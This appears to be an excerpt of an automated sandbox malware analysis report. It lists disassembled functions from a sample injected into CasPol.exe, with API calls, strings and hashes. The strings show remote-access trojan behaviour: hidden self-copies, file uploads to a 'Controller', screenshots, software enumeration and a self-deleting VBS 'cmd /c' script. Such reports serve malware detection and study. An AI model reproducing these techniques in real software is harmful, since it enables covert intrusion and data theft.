                                                                                    • String ID: RIFF$WAVE$data$fmt
                                                                                    • API String ID: 1602526932-4212202414
                                                                                    • Opcode ID: 78ad8e7e5bc68969d37ee031f4dc22a1157de1b6325161424f695ba0fa01d69c
                                                                                    • Instruction ID: 129ba3454a43ec42bedb537cb07bfa8f9eb5569c2d2d4c431363fc199bcfbd5c
                                                                                    • Opcode Fuzzy Hash: 78ad8e7e5bc68969d37ee031f4dc22a1157de1b6325161424f695ba0fa01d69c
                                                                                    • Instruction Fuzzy Hash: 66416F726443187AE210DB51DD86FBB7EECEB85F54F40081AFA44D6090E7A4E909DBB3
                                                                                    Function 004064E0 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000001,004068B2,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000003,004068DA,004742E0,00406933), ref: 004064F4
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004064FD
                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 0040650E
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406511
                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 00406522
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406525
                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 00406536
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406539
                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 0040654A
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0040654D
                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 0040655E
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406561
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressHandleModuleProc
                                                                                    • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                                                    • API String ID: 1646373207-165202446
                                                                                    • Opcode ID: 4215aa750f6926a1b4092da29332a0681cdff8c3ca49fe138229b5bb5280378e
                                                                                    • Instruction ID: b313d74494c875c8407327c43f2905d2eb3972c2d2e01a1e2b33da4df8ba43a1
                                                                                    • Opcode Fuzzy Hash: 4215aa750f6926a1b4092da29332a0681cdff8c3ca49fe138229b5bb5280378e
                                                                                    • Instruction Fuzzy Hash: 1F011EA4E40B1675DB21677A7C54D176EAC9E502917190433B40AF22B1FEBCD410CD7D
                                                                                    Function 0040BC67 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 203fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _wcslen.LIBCMT ref: 0040BC75
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,00474358,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040BC8E
                                                                                    • CopyFileW.KERNEL32 ref: 0040BD3E
                                                                                    • _wcslen.LIBCMT ref: 0040BD54
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040BDDC
                                                                                    • CopyFileW.KERNEL32 ref: 0040BDF2
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE31
                                                                                    • _wcslen.LIBCMT ref: 0040BE34
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE4B
                                                                                    • CloseHandle.KERNEL32 ref: 0040BE9B
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000001), ref: 0040BEB9
                                                                                    • ExitProcess.KERNEL32 ref: 0040BED0
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                                                    • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$del$open$BG$BG
                                                                                    • API String ID: 1579085052-1280438975
                                                                                    • Opcode ID: 5810891c7d77c7b93cc386c5bda24951b24e135575458cac5ec9797dffa7e349
                                                                                    • Instruction ID: b3868b96a5a73c1b880f625a38b4c220dd420420d05b0a2cc1e840e3cd02b35d
                                                                                    • Opcode Fuzzy Hash: 5810891c7d77c7b93cc386c5bda24951b24e135575458cac5ec9797dffa7e349
                                                                                    • Instruction Fuzzy Hash: D251B0212043406BD609B722EC52EBF77999F81719F10443FF985A66E2DF3CAD4582EE
                                                                                    Function 0044E20E Relevance: 30.2, APIs: 16, Strings: 1, Instructions: 419COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$EnvironmentVariable
                                                                                    • String ID: xm_
                                                                                    • API String ID: 1464849758-2384771445
                                                                                    • Opcode ID: 51f39d1eed0bb0b4e5b8ce655fdeab7d9d24a3419ebedca0ef41db0feeddc4a5
                                                                                    • Instruction ID: 8ac3cd9939a067627e1c481289c57a7f9f94b657261427fab31af25724b0c78e
                                                                                    • Opcode Fuzzy Hash: 51f39d1eed0bb0b4e5b8ce655fdeab7d9d24a3419ebedca0ef41db0feeddc4a5
                                                                                    • Instruction Fuzzy Hash: 96D13C719007007FFB25AF7B9881A6F7BA4BF02314F0541AFF905A7381E63989418B9D
                                                                                    Function 0041B1BB Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • lstrlenW.KERNEL32(?), ref: 0041B1D6
                                                                                    • _memcmp.LIBVCRUNTIME ref: 0041B1EE
                                                                                    • lstrlenW.KERNEL32(?), ref: 0041B207
                                                                                    • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041B242
                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041B255
                                                                                    • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041B299
                                                                                    • lstrcmpW.KERNEL32(?,?), ref: 0041B2B4
                                                                                    • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041B2CC
                                                                                    • _wcslen.LIBCMT ref: 0041B2DB
                                                                                    • FindVolumeClose.KERNEL32(?), ref: 0041B2FB
                                                                                    • GetLastError.KERNEL32 ref: 0041B313
                                                                                    • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041B340
                                                                                    • lstrcatW.KERNEL32(?,?), ref: 0041B359
                                                                                    • lstrcpyW.KERNEL32(?,?), ref: 0041B368
                                                                                    • GetLastError.KERNEL32 ref: 0041B370
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                                                    • String ID: ?
                                                                                    • API String ID: 3941738427-1684325040
                                                                                    • Opcode ID: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                                                    • Instruction ID: 2e0df54dd889987763cd5022c3700ac4418931210c184d5857636408485aa128
                                                                                    • Opcode Fuzzy Hash: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                                                    • Instruction Fuzzy Hash: 8B416F71508305AAD7209FA1EC8C9EBB7E8EB49715F00096BF541C2261EB78C98887D6
                                                                                    Function 00411C81 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 479sleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00411C9A
                                                                                      • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00465900,0040C07B,.vbs,?,?,?,?,?,004742F8), ref: 0041AB5F
                                                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32(00403AB9), ref: 004176CC
                                                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32($SF), ref: 004176D5
                                                                                    • Sleep.KERNEL32(0000000A,00465324), ref: 00411DEC
                                                                                    • Sleep.KERNEL32(0000000A,00465324,00465324), ref: 00411E8E
                                                                                    • Sleep.KERNEL32(0000000A,00465324,00465324,00465324), ref: 00411F30
                                                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00411F91
                                                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00411FC8
                                                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00412004
                                                                                    • Sleep.KERNEL32(000001F4,00465324,00465324,00465324), ref: 0041201E
                                                                                    • Sleep.KERNEL32(00000064), ref: 00412060
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                                                    • String ID: /stext "$HDG$HDG$>G$>G
                                                                                    • API String ID: 1223786279-3931108886
                                                                                    • Opcode ID: 58c85a797d0b0d51052fc17ae47431b6712fc9cdcd63165aa872d0404d50a504
                                                                                    • Instruction ID: 1febf249a593eb43810efab42e14b6693ac358e03ba90545e56d33427da79e18
                                                                                    • Opcode Fuzzy Hash: 58c85a797d0b0d51052fc17ae47431b6712fc9cdcd63165aa872d0404d50a504
                                                                                    • Instruction Fuzzy Hash: 960243315083414AC325FB61D891AEFB7D5AFD4308F50493FF88A931E2EF785A49C69A
                                                                                    Function 0041B824 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041B846
                                                                                    • RegEnumKeyExA.ADVAPI32 ref: 0041B88A
                                                                                    • RegCloseKey.ADVAPI32(?), ref: 0041BB54
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEnumOpen
                                                                                    • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                                                                    • API String ID: 1332880857-3714951968
                                                                                    • Opcode ID: 6f9d8f0674dc0a37181ba86e51d6a92751e66a7c9b2afbb440473ff198e35625
                                                                                    • Instruction ID: 4ca6cd9db44c7b11bab16217f2b7ba144dfc64e74838f3250c32f9e768a6938f
                                                                                    • Opcode Fuzzy Hash: 6f9d8f0674dc0a37181ba86e51d6a92751e66a7c9b2afbb440473ff198e35625
                                                                                    • Instruction Fuzzy Hash: 8C812E311082449BD324EB11DC51AEFB7E9FFD4314F10493FB58A921E1EF74AA49CA9A
                                                                                    Function 0041CA9E Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 73windowCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041CAE9
                                                                                    • GetCursorPos.USER32(?), ref: 0041CAF8
                                                                                    • SetForegroundWindow.USER32(?), ref: 0041CB01
                                                                                    • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041CB1B
                                                                                    • Shell_NotifyIconA.SHELL32(00000002,00473B50), ref: 0041CB6C
                                                                                    • ExitProcess.KERNEL32 ref: 0041CB74
                                                                                    • CreatePopupMenu.USER32 ref: 0041CB7A
                                                                                    • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041CB8F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                                                    • String ID: Close
                                                                                    • API String ID: 1657328048-3535843008
                                                                                    • Opcode ID: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                                                    • Instruction ID: a66ed96c0d91d71762f770de87d5f41dd37c70c4e97b210e23d221b2b7ccacbc
                                                                                    • Opcode Fuzzy Hash: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                                                    • Instruction Fuzzy Hash: 68212B71188209FFDB064F64FD4EAAA3F65EB04342F044135B906D40B2D7B9EA90EB18
                                                                                    Function 00444F3D Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$Info
                                                                                    • String ID:
                                                                                    • API String ID: 2509303402-0
                                                                                    • Opcode ID: 5c026963daf27b0c83cfaad4ae58de357a121220139847f84e929f94d8d568d7
                                                                                    • Instruction ID: 0af7f9009007d8880989bd470fdb3e4a62bb8e65dbd2af1b74ff5c8893cb1db7
                                                                                    • Opcode Fuzzy Hash: 5c026963daf27b0c83cfaad4ae58de357a121220139847f84e929f94d8d568d7
                                                                                    • Instruction Fuzzy Hash: D0B18F71900605AFEF11DFA9C881BEEBBF4BF49304F14406EF855B7242DA79A8458B64
                                                                                    Function 00407DEF Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 325fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00407F4C
                                                                                    • GetFileSizeEx.KERNEL32(00000000,00000000), ref: 00407FC2
                                                                                    • __aulldiv.LIBCMT ref: 00407FE9
                                                                                    • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040810D
                                                                                    • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408128
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00408200
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040821A
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00408256
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseHandle$CreatePointerReadSize__aulldiv
                                                                                    • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $>G
                                                                                    • API String ID: 1884690901-3066803209
                                                                                    • Opcode ID: 1775096831c7832b04362d5365a21c36005818d65dadadce0cd3a8e403c71fb6
                                                                                    • Instruction ID: 222450ca6543349723abdfa1177da379b39b5876d7444fbb960ea0ab75079841
                                                                                    • Opcode Fuzzy Hash: 1775096831c7832b04362d5365a21c36005818d65dadadce0cd3a8e403c71fb6
                                                                                    • Instruction Fuzzy Hash: DAB191316083409BC214FB25C892AAFB7E5AFD4314F40492EF885632D2EF789945C79B
                                                                                    Function 0045006D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ___free_lconv_mon.LIBCMT ref: 004500B1
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F300
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F312
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F324
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F336
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F348
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F35A
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F36C
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F37E
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F390
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3A2
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3B4
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3C6
                                                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3D8
                                                                                    • _free.LIBCMT ref: 004500A6
                                                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(0000000A,?,0044FA50,0000000A,00000000,0000000A,00000000,?,0044FCF4,0000000A,00000007,0000000A,?,00450205,0000000A,0000000A), ref: 00446AED
                                                                                    • _free.LIBCMT ref: 004500C8
                                                                                    • _free.LIBCMT ref: 004500DD
                                                                                    • _free.LIBCMT ref: 004500E8
                                                                                    • _free.LIBCMT ref: 0045010A
                                                                                    • _free.LIBCMT ref: 0045011D
                                                                                    • _free.LIBCMT ref: 0045012B
                                                                                    • _free.LIBCMT ref: 00450136
                                                                                    • _free.LIBCMT ref: 0045016E
                                                                                    • _free.LIBCMT ref: 00450175
                                                                                    • _free.LIBCMT ref: 00450192
                                                                                    • _free.LIBCMT ref: 004501AA
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                    • String ID:
                                                                                    • API String ID: 161543041-0
                                                                                    • Opcode ID: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                                                    • Instruction ID: 6df0fc8d0da410edbfddc8482cd9dc810a80ebbb5b2f86b8c24a0bb33e3d08c7
                                                                                    • Opcode Fuzzy Hash: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                                                    • Instruction Fuzzy Hash: 96317235500B00AFEB20AA35D845B5B73E5AF42355F15841FF849E7292DF39AC98CB1A
                                                                                    Function 00419128 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 174sleeptimeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 0041912D
                                                                                    • GdiplusStartup.GDIPLUS(00473AF0,?,00000000), ref: 0041915F
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 004191EB
                                                                                    • Sleep.KERNEL32(000003E8), ref: 0041926D
                                                                                    • GetLocalTime.KERNEL32(?), ref: 0041927C
                                                                                    • Sleep.KERNEL32(00000000,00000018,00000000), ref: 00419365
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                                                                    • String ID: XCG$XCG$XCG$time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i
                                                                                    • API String ID: 489098229-65789007
                                                                                    • Opcode ID: ba05b3bf59bebc49e008883ba20c21b5104beaeaeb09df6dbf273ce008c150d2
                                                                                    • Instruction ID: b922dce7c629cfc9b1bb11cb74a08c0e3353b39699bf4d86e46594d10c943285
                                                                                    • Opcode Fuzzy Hash: ba05b3bf59bebc49e008883ba20c21b5104beaeaeb09df6dbf273ce008c150d2
                                                                                    • Instruction Fuzzy Hash: 33519F71A002449ACB14BBB5C856AFE7BA9AB55304F00407FF84AB71D2EF3C5E85C799
                                                                                    Function 0040C66D Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 147COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,pth_unenc,0040E670), ref: 004116A9
                                                                                      • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF), ref: 004116BC
                                                                                      • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 00412679
                                                                                      • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32 ref: 00412692
                                                                                      • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(00000000), ref: 0041269D
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040C6C7
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C826
                                                                                    • ExitProcess.KERNEL32 ref: 0040C832
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                                                    • String ID: """, 0$.vbs$@CG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                                                    • API String ID: 1913171305-390638927
                                                                                    • Opcode ID: 6d8cdf771420d98c490a7d990fc142cdd0567f39efc4d8d43d0c3b0d415d574d
                                                                                    • Instruction ID: a795a6540db69397e2c5d2b70f340dd787df27bacd58b350937fb1c0aad7b7c4
                                                                                    • Opcode Fuzzy Hash: 6d8cdf771420d98c490a7d990fc142cdd0567f39efc4d8d43d0c3b0d415d574d
                                                                                    • Instruction Fuzzy Hash: A2416D329001185ACB14F762DC56DFE7779AF50718F50417FF906B30E2EE386A8ACA99
                                                                                    Function 0044F3E1 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 53d41fd9a7ee4e2989e4925aa528ca2cb03ad0a377c341b032d8e4e6b559b5a3
                                                                                    • Instruction ID: 48066223020562dfe8895eb3edc0e70975ef38ab3c96fc6f1fb07286cb8ca08d
                                                                                    • Opcode Fuzzy Hash: 53d41fd9a7ee4e2989e4925aa528ca2cb03ad0a377c341b032d8e4e6b559b5a3
                                                                                    • Instruction Fuzzy Hash: 2BC15772D80204BFEB20DBA9CC82FDE77F89B45704F15416AFA04FB282D6749D458B58
                                                                                    Function 00454982 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00454650: CreateFileW.KERNEL32(00000000,?,?,+JE,?,?,00000000), ref: 0045466D
                                                                                    • GetLastError.KERNEL32 ref: 00454A96
                                                                                    • __dosmaperr.LIBCMT ref: 00454A9D
                                                                                    • GetFileType.KERNEL32 ref: 00454AA9
                                                                                    • GetLastError.KERNEL32 ref: 00454AB3
                                                                                    • __dosmaperr.LIBCMT ref: 00454ABC
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00454ADC
                                                                                    • CloseHandle.KERNEL32(?), ref: 00454C26
                                                                                    • GetLastError.KERNEL32 ref: 00454C58
                                                                                    • __dosmaperr.LIBCMT ref: 00454C5F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                    • String ID: H
                                                                                    • API String ID: 4237864984-2852464175
                                                                                    • Opcode ID: 43154248a50fd66e96ac6d70bada307b7577a7ac671062952f04f408382b00d8
                                                                                    • Instruction ID: 324c09394b40af715295ff654573b8bda7a64cd12b4111e7ce26936e53f9a861
                                                                                    • Opcode Fuzzy Hash: 43154248a50fd66e96ac6d70bada307b7577a7ac671062952f04f408382b00d8
                                                                                    • Instruction Fuzzy Hash: B0A148329041044FDF19EF78D8427AE7BA0AB86319F14015EFC159F392DB398C86C75A
                                                                                    Function 00413C67 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 155COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 65535$udp
                                                                                    • API String ID: 0-1267037602
                                                                                    • Opcode ID: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                                                    • Instruction ID: a76ad32841e4dbbb66723cf4e0556afe3febbbe66cdf8f55616d13ac9502c32b
                                                                                    • Opcode Fuzzy Hash: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                                                    • Instruction Fuzzy Hash: 9D4118716083019BD7209F29E905BAB7BD8EF85706F04082FF84197391E76DCEC186AE
                                                                                    Function 00439361 Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393B9
                                                                                    • GetLastError.KERNEL32(?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393C6
                                                                                    • __dosmaperr.LIBCMT ref: 004393CD
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393F9
                                                                                    • GetLastError.KERNEL32(?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439403
                                                                                    • __dosmaperr.LIBCMT ref: 0043940A
                                                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401AD8,?), ref: 0043944D
                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439457
                                                                                    • __dosmaperr.LIBCMT ref: 0043945E
